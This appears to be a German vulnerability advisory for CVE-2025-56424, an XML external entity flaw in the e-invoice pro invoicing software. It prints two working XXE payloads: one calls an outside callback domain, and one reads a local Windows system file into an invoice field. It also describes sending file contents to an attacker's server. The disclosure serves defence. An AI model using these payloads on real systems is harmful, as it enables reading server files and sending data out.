Übersicht
Betroffenes Produkt: e-invoice pro von Insiders Technologies GmbH – Versionen vor Release 1 Service Pack 2
CVSS-Bewertung (v3.1): 7.6 (Hoch)
Zugewiesene CVE: CVE-2025-56424
Empfehlung: Update zu Release 1 Service Pack 2 oder höher
Credit: Simon Holl und Lucas Noki von der MindBytes GmbH
Die Komponente verarbeitet Benutzereingaben in XML-Eingangsrechnungen (E-Rechnungen) ohne Validierung. Das können Angreifer nutzen, um auf lokale Serverdateien zuzugreifen, eine Verbindung ins Internet aufzubauen oder die Server-Ressourcen zu überlasten. Eine Person muss gegebenenfalls manuell die vom Angreifer gesendete manipulierte Eingangsrechnung für die automatisierte Verabeitung an die verwundbare Komponente weiterleiten.
Denkbare Angriffsszenarien sind beispielsweise das Auslesen und Senden von Server-Dateien an ein vom Angreifer kontrolliertes System oder das Überlasten des Servers.
Technische Details
e-invoice pro empfängt und verarbeitet die Eingangsrechnung (E-Rechnung) im XML-Format. Dabei ist der XML-Parser so konfiguriert, dass er enthaltene DTDs (Document Type Definition) verarbeitet. Das ermöglicht beispielsweise die nachfolgenden Angriffe:
Verbindungen ins Internet aufbauen
Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Das löst eine HTTP-Anfrage an die hinterlegte Domäne aus.
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://eingangsrechnung-xxe-http.nvmgf0kcoslrpedhrhi368rcm3sugm4b.oastify.com/"> %ext;]> Die nachfolgende Abbildung zeigt die Interaktion mit der hinterlegten Domäne. Es ist zu sehen, dass das System, auf dem die betroffene Komponente läuft, zunächst die Domäne per DNS auflöste und anschließend die HTTP-Anfrage sendete.

Auf lokale Serverdateien zugreifen
Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Der XML-Parser befüllt das referenzierte Element root automatisch mit dem Inhalt der hosts-Datei.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///C:/Windows/System32/drivers/etc/hosts'>]><ubl:Invoice ... [...] <cac:AccountingSupplierParty> <cac:Party> [...] <cac:PartyLegalEntity> <cbc:RegistrationName>&root;</cbc:RegistrationName> </cac:PartyLegalEntity> Die nachfolgende Abbildung zeigt, dass der Dateiinhalt als Name des Rechnungsstellers in der Oberfläche einsehbar ist. Ein externer Angreifer hat typischerweise keinen Zugriff auf die Weboberfläche. In Kombination mit dem Senden von HTTP-Anfragen könnte ein Angreifer den Dateiinhalt bei einem Angriff auch an ein System im Internet senden. Diese Möglichkeit haben wir während unserer Tests nicht geprüft.
